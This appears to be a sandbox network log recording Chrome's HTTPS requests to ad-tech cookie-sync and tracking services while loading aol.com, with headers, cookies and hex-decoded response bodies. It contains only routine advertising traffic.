2024-05-23 22:35:05 UTC	424	IN	HTTP/1.1 401 Unauthorized Connection: close Content-Length: 78 Retry-After: 0 Content-Type: application/json Accept-Ranges: bytes Date: Thu, 23 May 2024 22:35:05 GMT X-Served-By: cache-nyc-kteb1890061-NYC X-Cache: MISS X-Cache-Hits: 0 Bcov-Request-Id: epa-51f57965177d, epa-51f57965177d-cr Cache-Control: no-store, must-revalidate Access-Control-Allow-Headers: Authorization,* Access-Control-Allow-Origin: *
2024-05-23 22:35:05 UTC	78	IN	Data Raw: 5b 7b 22 65 72 72 6f 72 5f 63 6f 64 65 22 3a 22 54 4f 4b 45 4e 5f 52 45 51 55 49 52 45 44 22 2c 20 22 6d 65 73 73 61 67 65 22 3a 22 54 68 65 20 72 65 71 75 65 73 74 20 72 65 71 75 69 72 65 73 20 61 20 74 6f 6b 65 6e 2e 22 20 7d 5d 20 Data Ascii: [{"error_code":"TOKEN_REQUIRED", "message":"The request requires a token." }]

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
435	192.168.2.6	50167	178.250.1.11	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:05 UTC	582	OUT	GET /sync?c=72&r=2&j=TRC.getRTUS&us_privacy=1YNN&gdpr=0&gdpr_consent=&gdpr_pd= HTTP/1.1 Host: gum.criteo.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.aol.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:35:05 UTC	317	IN	HTTP/1.1 200 OK content-type: text/javascript; charset=utf-8 date: Thu, 23 May 2024 22:35:04 GMT server: Kestrel cache-control: private, max-age=3600 expires: 60 transfer-encoding: chunked server-processing-duration-in-ticks: 302628 strict-transport-security: max-age=31536000; preload; connection: close
2024-05-23 22:35:05 UTC	52	IN	Data Raw: 32 45 0d 0a 54 52 43 2e 67 65 74 52 54 55 53 28 7b 22 73 74 61 74 75 73 22 3a 22 55 6e 6b 6e 6f 77 6e 22 2c 22 75 73 65 72 69 64 22 3a 22 22 7d 29 3b 0d 0a Data Ascii: 2ETRC.getRTUS({"status":"Unknown","userid":""});
2024-05-23 22:35:05 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
436	192.168.2.6	50248	178.250.1.11	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:05 UTC	608	OUT	GET /sync?r=2&c=321&gdpr=0&gdpr_pd=0&gdpr_consent=&us_privacy=1YNN&j=window.advBidxc.mnetRtusId HTTP/1.1 Host: gum.criteo.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://contextual.media.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:35:05 UTC	317	IN	HTTP/1.1 200 OK content-type: text/javascript; charset=utf-8 date: Thu, 23 May 2024 22:35:04 GMT server: Kestrel cache-control: private, max-age=3600 expires: 60 transfer-encoding: chunked server-processing-duration-in-ticks: 308569 strict-transport-security: max-age=31536000; preload; connection: close
2024-05-23 22:35:05 UTC	72	IN	Data Raw: 33 44 0d 0a 77 69 6e 64 6f 77 2e 61 64 76 42 69 64 78 63 2e 6d 6e 65 74 52 74 75 73 49 64 28 7b 22 73 74 61 74 75 73 22 3a 22 55 6e 6b 6e 6f 77 6e 22 2c 22 75 73 65 72 69 64 22 3a 22 22 7d 29 3b 0d 0a 30 0d 0a 0d 0a Data Ascii: 3Dwindow.advBidxc.mnetRtusId({"status":"Unknown","userid":""});0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
437	192.168.2.6	50252	46.228.174.117	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:05 UTC	800	OUT	GET /usersync2/rmp1r1?sub=medianet&redir=https%3A%2F%2Fcontextual.media.net%2Fcksync.php%3Fcs%3D8%26vsid%3D3595052986404735000V10%26type%3Dr1%26refUrl%3D%26vid%3D65037015853595052986404735000V10%26axid_e%3D%26ovsid%3D%5BRX_UUID%5D HTTP/1.1 Host: sync.1rx.io Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://contextual.media.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:35:05 UTC	1054	IN	HTTP/1.1 302 Found date: Thu, 23 May 2024 22:35:05 GMT content-type: text/html transfer-encoding: chunked cache-control: no-store, no-cache, must-revalidate expires: 0 pragma: no-cache set-cookie: _rxuuid=%7B%22rx_uuid%22%3A%22RX-fe1304b9-a817-48cf-90fb-9f7a0066a0de-003%22%2C%22zdxidn%22%3A%222057.4%22%2C%22nxtrdr%22%3A%22https%3A%2F%2Fcontextual.media.net%2Fcksync.php%3Fcs%3D8%26vsid%3D3595052986404735000V10%26type%3Dr1%26refUrl%3D%26vid%3D65037015853595052986404735000V10%26axid_e%3D%26ovsid%3D%5BRX_UUID%5D%22%7D; path=/; expires=Fri, 23 May 2025 22:35:05 GMT; domain=.1rx.io; samesite=none; secure; httponly p3p: CP="This is not a P3P policy! See https://www.rhythmone.com/p3p to learn why" location: https://sync.1rx.io/usersync2/rmp1r1?sub=medianet&zcc=1&redir=https%3A%2F%2Fcontextual.media.net%2Fcksync.php%3Fcs%3D8%26vsid%3D3595052986404735000V10%26type%3Dr1%26refUrl%3D%26vid%3D65037015853595052986404735000V10%26axid_e%3D%26ovsid%3D%5BRX_UUID%5D&cb=1716503705673 etag: RXfe1304b9a81748cf90fb9f7a0066a0de003 connection: close
2024-05-23 22:35:05 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
438	192.168.2.6	50266	198.47.127.19	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:05 UTC	1365	OUT	GET /AdServer/PugMaster?sec=1&async=1&kdntuid=1&rnd=68096438&p=133799&s=0&a=0&ptask=ALL&np=0&fp=0&rp=1&mpc=0&spug=1&coppa=0&gdpr=0&gdpr_consent=&us_privacy=1YNN HTTP/1.1 Host: image6.pubmatic.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: KADUSERCOOKIE=BD0DE19C-09D4-4B62-A188-46A0D2E6C177; chkChromeAb67Sec=2; pi=0:3; DPSync3=1717632000%3A219_197_201_245_241_227_226; SyncRTB3=1717632000%3A56_21_71_220_13_233_22_264_251_54_266_55_3_8_46%7C1717718400%3A35%7C1717027200%3A15_223%7C1717286400%3A63%7C1719014400%3A203; KRTBCOOKIE_377=6810-8369ae03-bf51-422b-a15c-33306b0e1dfe&KRTB&22918-8369ae03-bf51-422b-a15c-33306b0e1dfe&KRTB&22926-8369ae03-bf51-422b-a15c-33306b0e1dfe&KRTB&23031-8369ae03-bf51-422b-a15c-33306b0e1dfe; KRTBCOOKIE_57=22776-9165965397510453586&KRTB&23339-9165965397510453586; KRTBCOOKIE_153=19420-JqKacnOglyE9pZx2JaKDJ3GmnSM9o5dyJfJK98f9&KRTB&23462-JqKacnOglyE9pZx2JaKDJ3GmnSM9o5dyJfJK98f9; PugT=1716503703
2024-05-23 22:35:05 UTC	862	IN	HTTP/1.1 200 OK Content-Type: text/html; charset=UTF-8 P3p: CP="NOI DSP COR LAW CUR ADMo DEVo TAIo PSAo PSDo IVAo IVDo HISo OTPo OUR SAMo BUS UNI COM NAV INT DEM CNT STA PRE LOC" Set-Cookie: KADUSERCOOKIE=BD0DE19C-09D4-4B62-A188-46A0D2E6C177; domain=pubmatic.com; path=/; max-age=31536000; SameSite=None; secure; Set-Cookie: chkChromeAb67Sec=3; domain=pubmatic.com; path=/; max-age=7776000; SameSite=None; secure; Set-Cookie: pi=133799:4; domain=pubmatic.com; path=/; max-age=86400; SameSite=None; secure; Set-Cookie: SyncRTB3=1717286400%3A63%7C1719014400%3A203%7C1717632000%3A22_166_13_264_21_56_251_55_54_46_165_220_266_8_234_71_254_3_214_233%7C1717027200%3A2_15_223%7C1721606400%3A69%7C1717718400%3A35; domain=pubmatic.com; path=/; max-age=7776000; SameSite=None; secure; Date: Thu, 23 May 2024 22:35:05 GMT Content-Length: 1063 Connection: close
2024-05-23 22:35:05 UTC	1063	IN	Data Raw: 50 75 62 4d 61 74 69 63 2e 6c 6f 61 64 41 73 79 6e 63 49 6d 61 67 65 50 69 78 65 6c 28 27 68 74 74 70 73 3a 2f 2f 61 64 2e 74 75 72 6e 2e 63 6f 6d 2f 72 2f 63 73 3f 70 69 64 3d 31 26 67 64 70 72 3d 30 26 67 64 70 72 5f 63 6f 6e 73 65 6e 74 3d 27 29 3b 50 75 62 4d 61 74 69 63 2e 6c 6f 61 64 41 73 79 6e 63 49 66 72 61 6d 65 50 69 78 65 6c 28 27 68 74 74 70 73 3a 2f 2f 6d 61 74 63 68 2e 70 72 6f 64 2e 62 69 64 72 2e 69 6f 2f 63 6f 6f 6b 69 65 2d 73 79 6e 63 2f 70 6d 3f 67 64 70 72 3d 30 26 67 64 70 72 5f 63 6f 6e 73 65 6e 74 3d 27 29 3b 50 75 62 4d 61 74 69 63 2e 6c 6f 61 64 41 73 79 6e 63 49 66 72 61 6d 65 50 69 78 65 6c 28 27 68 74 74 70 73 3a 2f 2f 63 73 79 6e 63 2e 6c 6f 6f 70 6d 65 2e 6d 65 2f 3f 70 75 62 69 64 3d 31 31 33 33 31 26 72 65 64 69 72 65 63 Data Ascii: PubMatic.loadAsyncImagePixel('https://ad.turn.com/r/cs?pid=1&gdpr=0&gdpr_consent=');PubMatic.loadAsyncIframePixel('https://match.prod.bidr.io/cookie-sync/pm?gdpr=0&gdpr_consent=');PubMatic.loadAsyncIframePixel('https://csync.loopme.me/?pubid=11331&redirec

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
439	192.168.2.6	50261	52.212.30.128	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:05 UTC	756	OUT	GET /sync/rubicon/MaWhsZI84reAQR1PyDe2aA?csrc=&gdpr=0&us_privacy=1YNN HTTP/1.1 Host: pr-bh.ybp.yahoo.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://eus.rubiconproject.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: A3=d=AQABBIXET2YCEHBMiuYtW7eHuIKM-u2ouTQFEgEBAQEWUWZZZtxH0iMA_eMAAA&S=AQAAApryFK_ohCDTd4CRDpuyvG8
2024-05-23 22:35:05 UTC	873	IN	HTTP/1.1 302 Found Date: Thu, 23 May 2024 22:35:05 GMT Content-Length: 0 Connection: close Location: https://pixel.rubiconproject.com/tap.php?v=31950&nid=2974&put=y-7_Md.F9E2oIXfFJ7X3mH9F36ySt9h1H.w4hxrw--~A Age: 0 Strict-Transport-Security: max-age=31536000 Server: ATS Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only" X-Frame-Options: DENY X-Content-Type-Options: nosniff Referrer-Policy: strict-origin-when-cross-origin Content-Security-Policy: sandbox; default-src 'self'; script-src 'none'; object-src 'none'; report-uri http://csp.yahoo.com/beacon/csp?src=generic Set-Cookie: A3=d=AQABBIXET2YCEHBMiuYtW7eHuIKM-u2ouTQFEgEBAQEWUWZZZtxH0iMA_eMAAA&S=AQAAApryFK_ohCDTd4CRDpuyvG8; Expires=Sat, 24 May 2025 04:35:05 GMT; Max-Age=31557600; Domain=.yahoo.com; Path=/; SameSite=None; Secure; HttpOnly

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
440	192.168.2.6	50250	69.166.1.66	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:05 UTC	731	OUT	GET /us?https://contextual.media.net/cksync.php?cs=8&vsid=3595052986404735000V10&type=son&refUrl=&vid=65037015853595052986404735000V10&axid_e=&ovsid=[UID] HTTP/1.1 Host: sync.go.sonobi.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://contextual.media.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:35:05 UTC	858	IN	HTTP/1.1 302 Found date: Thu, 23 May 2024 22:35:05 GMT content-type: text/plain; charset=utf8 content-length: 0 expires: Sat, 26 Jul 1997 05:00:00 GMT cache-control: no-cache, no-store, private p3p: CP="NOI DSP COR NID CURa ADMa DEVa PSAa PSDa OUR BUS COM INT OTC PUR STA" pragma: no-cache tcn: Choice vary: negotiate,Accept-Encoding x-go-server: go-iad-2-6-23 x-xss-protection: 0 location: https://contextual.media.net/cksync.php?cs=8&vsid=3595052986404735000V10&type=son&refUrl=&vid=65037015853595052986404735000V10&axid_e=&ovsid=3e69915a-aa81-453c-8be6-621af7150f41 set-cookie: __uis=3e69915a-aa81-453c-8be6-621af7150f41; expires=Sat, 22 Jun 2024 22:35:05 GMT; domain=.go.sonobi.com; path=/; secure; SameSite=None set-cookie: HAPLB8G=s8623\|Zk/En; path=/; domain=.go.sonobi.com; SameSite=none; Secure server: sonobi-go connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
441	192.168.2.6	50237	34.36.216.150	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:05 UTC	624	OUT	GET /dmp/pixelSync?nid=3&gdpr=0&gdpr_consent= HTTP/1.1 Host: pixel-sync.sitescout.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:35:05 UTC	438	IN	HTTP/1.1 302 Found set-cookie: ssi=12d5e394-d925-4890-aef8-b87a788fd063#1716503705668; Domain=.sitescout.com; Expires=Fri, 23-May-2025 22:35:05 GMT; Path=/; Secure; SameSite=None location: https://pixel-sync.sitescout.com/dmp/pixelSync?cookieQ=1&nid=3&gdpr=0&gdpr_consent= Content-Length: 0 date: Thu, 23 May 2024 22:35:05 GMT server: A via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
442	192.168.2.6	50241	178.250.1.9	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:05 UTC	874	OUT	GET /dis/usersync.aspx?r=3&p=4&cp=pubmaticUS&cu=1&&gdpr=0&gdpr_consent=&url=https://simage2.pubmatic.com/AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTE5MjgmdGw9NDMyMDA=&piggybackCookie=uid:@@CRITEO_USERID@@ HTTP/1.1 Host: dis.criteo.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:35:05 UTC	452	IN	HTTP/1.1 302 Found content-length: 0 date: Thu, 23 May 2024 22:35:05 GMT server: Kestrel location: https://widget.us.criteo.com/dis/usersync.aspx?r=3&p=4&cp=pubmaticUS&cu=1&&gdpr=0&gdpr_consent=&url=https://simage2.pubmatic.com/AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTE5MjgmdGw9NDMyMDA=&piggybackCookie=uid:@@CRITEO_USERID@@ server-processing-duration-in-ticks: 113944 strict-transport-security: max-age=31536000; preload; connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
443	192.168.2.6	50236	141.94.170.64	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:05 UTC	657	OUT	GET /?partner=214&mapped=BD0DE19C-09D4-4B62-A188-46A0D2E6C177&gdpr=0&gdpr_consent= HTTP/1.1 Host: pixel.onaudience.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:35:05 UTC	530	IN	HTTP/1.1 302 Found set-cookie: cookie=a4f26c9103f1a853; Max-Age=31536000; Expires=Fri, 23 May 2025 22:35:05 GMT; Path=/; Domain=.onaudience.com; Secure; SameSite=None set-cookie: done_redirects236=1; Max-Age=86400; Expires=Fri, 24 May 2024 22:35:05 GMT; Path=/; Domain=.onaudience.com; Secure; SameSite=None location: https://pixel.onaudience.com/?partner=236&icm&cver&gdpr=0&smartmap=1&redirect=ps.eyeota.net%2Fpixel%3Fgdpr%3D0%26gdpr_consent%3D%26pid%3D3b2cb90%26t%3Dgif%26uid%3D%25m content-length: 0 connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
444	192.168.2.6	50242	77.243.51.122	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:05 UTC	696	OUT	GET /pubmatic/1/info?sType=sync&sExtCookieId=BD0DE19C-09D4-4B62-A188-46A0D2E6C177&sInitiator=external&gdpr=0&gdpr_consent= HTTP/1.1 Host: uipglob.semasio.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:35:05 UTC	307	IN	HTTP/1.1 302 Found location: https://uipus.semasio.net/pubmatic/1/info?sType=sync&sExtCookieId=BD0DE19C-09D4-4B62-A188-46A0D2E6C177&sInitiator=external&gdpr=0&gdpr_consent= date: Thu, 23 May 2024 22:35:05 GMT content-length: 0 routing-server-id: -1 access-control-allow-origin: * connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
445	192.168.2.6	50245	142.250.185.225	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:05 UTC	835	OUT	GET /safeframe/1-0-40/html/container.html HTTP/1.1 Host: a92b7f3b6891f0e6a0ce2b192513e785.safeframe.googlesyndication.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIkqHLAQj6mM0BCIWgzQEIucrNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://www.aol.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:35:05 UTC	707	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Vary: Accept-Encoding Content-Type: text/html Cross-Origin-Resource-Policy: cross-origin Cross-Origin-Opener-Policy-Report-Only: same-origin; report-to="ads-gpt-scs" Report-To: {"group":"ads-gpt-scs","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/ads-gpt-scs"}]} Timing-Allow-Origin: * Content-Length: 6162 Date: Thu, 23 May 2024 22:35:05 GMT Expires: Fri, 23 May 2025 22:35:05 GMT Cache-Control: public, immutable, max-age=31536000 Last-Modified: Thu, 03 Nov 2022 19:10:08 GMT X-Content-Type-Options: nosniff Server: sffe X-XSS-Protection: 0 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-05-23 22:35:05 UTC	683	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 53 61 66 65 46 72 61 6d 65 20 43 6f 6e 74 61 69 6e 65 72 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 73 63 72 69 70 74 3e 0a 28 66 75 6e 63 74 69 6f 6e 28 29 7b 2f 2a 0a 0a 20 43 6f 70 79 72 69 67 68 74 20 54 68 65 20 43 6c 6f 73 75 72 65 20 4c 69 62 72 61 72 79 20 41 75 74 68 6f 72 73 2e 0a 20 53 50 44 58 2d 4c 69 63 65 6e 73 65 2d 49 64 65 6e 74 69 66 69 65 72 3a 20 41 70 61 63 68 65 2d 32 2e 30 0a 2a 2f 0a 76 61 72 20 66 3d 74 68 69 73 7c 7c 73 65 6c 66 2c 68 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 61 7d 3b 76 61 72 20 6e 3d 66 Data Ascii: <!DOCTYPE html><html> <head> <meta charset="UTF-8"> <title>SafeFrame Container</title> <script>(function(){/* Copyright The Closure Library Authors. SPDX-License-Identifier: Apache-2.0*/var f=this\|\|self,h=function(a){return a};var n=f
2024-05-23 22:35:05 UTC	1390	IN	Data Raw: 75 72 6e 20 74 7d 3b 76 61 72 20 63 61 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 74 68 69 73 2e 67 3d 62 61 3d 3d 3d 62 61 3f 61 3a 22 22 7d 3b 63 61 2e 70 72 6f 74 6f 74 79 70 65 2e 74 6f 53 74 72 69 6e 67 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 67 2b 22 22 7d 3b 76 61 72 20 62 61 3d 7b 7d 2c 64 61 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 62 3d 61 61 28 29 3b 61 3d 62 3f 62 2e 63 72 65 61 74 65 53 63 72 69 70 74 55 52 4c 28 61 29 3a 61 3b 72 65 74 75 72 6e 20 6e 65 77 20 63 61 28 61 29 7d 3b 76 61 72 20 65 61 3d 7b 7d 2c 75 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 74 68 69 73 2e 67 3d 62 3d 3d 3d 65 61 3f 61 3a 22 22 7d 3b 75 2e 70 72 6f 74 6f 74 79 70 65 2e 74 6f 53 74 72 69 6e 67 3d 66 75 6e 63 74 69 6f 6e 28 Data Ascii: urn t};var ca=function(a){this.g=ba===ba?a:""};ca.prototype.toString=function(){return this.g+""};var ba={},da=function(a){var b=aa();a=b?b.createScriptURL(a):a;return new ca(a)};var ea={},u=function(a,b){this.g=b===ea?a:""};u.prototype.toString=function(
2024-05-23 22:35:05 UTC	1390	IN	Data Raw: 2e 73 70 6c 69 74 28 22 22 29 29 3b 69 66 28 61 20 69 6e 73 74 61 6e 63 65 6f 66 20 41 72 72 61 79 29 7b 69 66 28 64 3d 64 7c 7c 30 2c 64 3c 63 2e 6c 65 6e 67 74 68 29 7b 66 6f 72 28 76 61 72 20 6b 3d 5b 5d 2c 67 3d 30 3b 67 3c 61 2e 6c 65 6e 67 74 68 3b 67 2b 2b 29 6b 2e 70 75 73 68 28 70 61 28 61 5b 67 5d 2c 62 2c 63 2c 64 2b 31 2c 65 29 29 3b 72 65 74 75 72 6e 20 6b 2e 6a 6f 69 6e 28 63 5b 64 5d 29 7d 7d 65 6c 73 65 20 69 66 28 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 61 29 72 65 74 75 72 6e 20 65 3d 65 7c 7c 30 2c 32 3e 65 3f 65 6e 63 6f 64 65 55 52 49 43 6f 6d 70 6f 6e 65 6e 74 28 71 61 28 61 2c 62 2c 63 2c 64 2c 65 2b 31 29 29 3a 22 2e 2e 2e 22 3b 72 65 74 75 72 6e 20 65 6e 63 6f 64 65 55 52 49 43 6f 6d 70 6f 6e 65 6e 74 28 53 74 72 69 6e Data Ascii: .split(""));if(a instanceof Array){if(d=d\|\|0,d<c.length){for(var k=[],g=0;g<a.length;g++)k.push(pa(a[g],b,c,d+1,e));return k.join(c[d])}}else if("object"==typeof a)return e=e\|\|0,2>e?encodeURIComponent(qa(a,b,c,d,e+1)):"...";return encodeURIComponent(Strin
